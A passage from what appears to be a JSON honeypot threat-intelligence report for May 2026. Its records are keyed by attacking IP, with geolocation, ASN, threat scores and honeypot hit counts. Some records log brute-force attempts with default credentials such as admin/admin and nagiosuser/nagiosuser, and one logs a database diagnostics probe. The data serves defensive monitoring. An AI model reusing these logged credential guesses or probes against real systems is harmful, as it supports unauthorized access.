        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 85.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 28,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T19:31:13+00:00",
        "last_seen_30d": "2026-05-29T10:06:48.174000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146,
        "Honeytrap": 66,
        "Cowrie": 8,
        "Ipphoney": 3,
        "Mailoney": 2,
        "Dionaea": 1
      }
    },
    "74.167.75.40": {
      "attack_count": 8,
      "first_seen": "2026-05-11T01:00:58.711Z",
      "last_seen": "2026-05-11T01:09:00.224Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Springfield",
      "asn": 19901,
      "as_org": "Brightspeed",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:00:58.711000+00:00",
        "last_seen_30d": "2026-05-11T01:10:02.162000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "45.186.89.36": {
      "attack_count": 6,
      "first_seen": "2026-05-20T18:40:53.977Z",
      "last_seen": "2026-05-20T18:46:55.475Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Candel\u00e1ria",
      "asn": 269417,
      "as_org": "PONTOCOM SOLUCOES EM TECNOLOGIA LTDA",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:40:53.977000+00:00",
        "last_seen_30d": "2026-05-20T18:48:06.552000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "46.36.38.92": {
      "attack_count": 6,
      "first_seen": "2026-05-08T04:53:42.411Z",
      "last_seen": "2026-05-08T04:53:45.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "\u0158etov\u00e1",
      "asn": 42422,
      "as_org": "SecurityNet.cz s.r.o.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:53:42.411000+00:00",
        "last_seen_30d": "2026-05-08T04:54:49.304000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "80.94.95.242": {
      "attack_count": 6,
      "first_seen": "2026-05-16T07:03:44.686Z",
      "last_seen": "2026-05-16T07:03:46.167Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:09:49.746000+00:00",
        "last_seen_30d": "2026-05-16T07:04:48.647000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "91.203.63.77": {
      "attack_count": 6,
      "first_seen": "2026-05-11T18:28:27.349Z",
      "last_seen": "2026-05-11T18:34:29.784Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Dnipro",
      "asn": 44894,
      "as_org": "Ukrchermetavtomatika LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:28:27.349000+00:00",
        "last_seen_30d": "2026-05-11T18:45:16.883000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "213.136.88.186": {
      "attack_count": 5,
      "first_seen": "2026-05-16T15:46:57.547Z",
      "last_seen": "2026-05-16T15:46:59.207Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:46:57.547000+00:00",
        "last_seen_30d": "2026-05-16T15:48:03.505000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "220.154.131.111": {
      "attack_count": 5,
      "first_seen": "2026-05-11T07:37:55.522Z",
      "last_seen": "2026-05-11T07:37:59.045Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "nagiosuser"
      ],
      "passwords_attempted": [
        "nagiosuser"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:37:55.522000+00:00",
        "last_seen_30d": "2026-05-11T07:39:08.091000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "109.105.211.14": {
      "attack_count": 4,
      "first_seen": "2026-05-03T09:35:12.444Z",
      "last_seen": "2026-05-03T09:35:20.445Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 64.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.9,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 23,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T09:35:12.444000+00:00",
        "last_seen_30d": "2026-05-25T15:58:32.510000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 53,
        "Cowrie": 4,
        "Dionaea": 4
      }
    },
    "124.29.194.182": {
      "attack_count": 4,
      "first_seen": "2026-05-19T09:16:12.189Z",
      "last_seen": "2026-05-19T09:16:37.290Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T09:16:12.189000+00:00",
        "last_seen_30d": "2026-05-19T09:17:39.525000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "200.108.176.187": {
      "attack_count": 4,
      "first_seen": "2026-05-14T07:48:42.293Z",
      "last_seen": "2026-05-14T12:34:53.683Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Feira de Santana",
      "asn": 270257,
      "as_org": "NETFSA BANDA LARGA",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T07:48:42.293000+00:00",
        "last_seen_30d": "2026-05-14T12:35:58.289000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "45.118.146.219": {
      "attack_count": 4,
      "first_seen": "2026-05-04T02:01:39.841Z",
      "last_seen": "2026-05-10T00:47:06.043Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131414,
      "as_org": "Long Van Soft Solution JSC",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T02:01:39.841000+00:00",
        "last_seen_30d": "2026-05-10T00:48:14.472000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "102.142.107.172": {
      "attack_count": 2,
      "first_seen": "2026-05-12T02:10:10.045Z",
      "last_seen": "2026-05-12T02:12:10.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Gabon",
      "country_code": "GA",
      "city": "Libreville",
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:10:10.045000+00:00",
        "last_seen_30d": "2026-05-12T02:22:58.008000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "102.209.254.108": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:24:02.306Z",
      "last_seen": "2026-05-23T01:26:02.307Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Libya",
      "country_code": "LY",
      "city": null,
      "asn": 328539,
      "as_org": "Giga-Communication",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:24:02.306000+00:00",
        "last_seen_30d": "2026-05-23T01:27:11.891000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.73.51": {
      "attack_count": 2,
      "first_seen": "2026-05-25T19:27:53.310Z",
      "last_seen": "2026-05-25T19:28:06.733Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T19:27:53.310000+00:00",
        "last_seen_30d": "2026-05-25T19:29:14.853000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.32.235.86": {
      "attack_count": 2,
      "first_seen": "2026-05-18T00:01:26.009Z",
      "last_seen": "2026-05-18T00:01:40.295Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Hsinchu",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T00:01:26.009000+00:00",
        "last_seen_30d": "2026-05-18T00:02:47.924000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.230.23.203": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:30:40.317Z",
      "last_seen": "2026-05-04T14:30:53.436Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:30:40.317000+00:00",
        "last_seen_30d": "2026-05-04T14:31:59.549000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.183.41.192": {
      "attack_count": 2,
      "first_seen": "2026-05-04T06:39:00.290Z",
      "last_seen": "2026-05-04T06:39:13.569Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T06:39:00.290000+00:00",
        "last_seen_30d": "2026-05-04T06:40:21.136000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "173.255.161.180": {
      "attack_count": 2,
      "first_seen": "2026-05-26T16:40:24.615Z",
      "last_seen": "2026-05-26T16:40:28.111Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T12:06:08.372000+00:00",
        "last_seen_30d": "2026-05-26T16:41:33.661000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "175.11.244.104": {
      "attack_count": 2,
      "first_seen": "2026-05-15T20:27:54.327Z",
      "last_seen": "2026-05-15T20:28:07.335Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T20:27:54.327000+00:00",
        "last_seen_30d": "2026-05-15T20:29:14.544000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.121.7.131": {
      "attack_count": 2,
      "first_seen": "2026-05-17T03:20:49.252Z",
      "last_seen": "2026-05-17T03:21:01.749Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Hvizdets",
      "asn": 41244,
      "as_org": "Zahidna Multyservisna Merezha, LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:20:49.252000+00:00",
        "last_seen_30d": "2026-05-17T03:22:03.840000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.126.187.98": {
      "attack_count": 2,
      "first_seen": "2026-05-16T07:39:11.935Z",
      "last_seen": "2026-05-16T07:39:25.198Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:39:11.935000+00:00",
        "last_seen_30d": "2026-05-16T07:40:34.504000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.45.73.7": {
      "attack_count": 2,
      "first_seen": "2026-05-24T10:06:30.973Z",
      "last_seen": "2026-05-24T10:06:44.181Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Calama",
      "asn": 22047,
      "as_org": "VTR BANDA ANCHA S.A.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:06:30.973000+00:00",
        "last_seen_30d": "2026-05-24T10:08:25.918000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.110.239.232": {
      "attack_count": 2,
      "first_seen": "2026-05-29T01:29:51.854Z",
      "last_seen": "2026-05-29T01:30:04.518Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bucaramanga",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T01:29:51.854000+00:00",
        "last_seen_30d": "2026-05-29T01:31:12.906000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.88": {
      "attack_count": 2,
      "first_seen": "2026-05-03T03:03:37.757Z",
      "last_seen": "2026-05-03T03:03:47.574Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 65.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 26,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T21:23:18+00:00",
        "last_seen_30d": "2026-05-27T01:08:35.454000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 24,
        "Cowrie": 2
      }
    },
    "39.118.199.37": {
      "attack_count": 2,
      "first_seen": "2026-05-16T06:26:01.683Z",
      "last_seen": "2026-05-16T06:26:15.047Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T06:26:01.683000+00:00",
        "last_seen_30d": "2026-05-16T06:27:24.311000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.250.43.129": {
      "attack_count": 2,
      "first_seen": "2026-05-27T01:18:20.210Z",
      "last_seen": "2026-05-27T01:18:20.478Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:18:20.210000+00:00",
        "last_seen_30d": "2026-05-27T01:19:27.314000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.84.133.39": {
      "attack_count": 2,
      "first_seen": "2026-05-30T18:31:31.417Z",
      "last_seen": "2026-05-30T18:31:31.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T18:31:31.417000+00:00",
        "last_seen_30d": "2026-05-30T18:32:35.497000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.15.255.213": {
      "attack_count": 2,
      "first_seen": "2026-05-05T15:59:01.949Z",
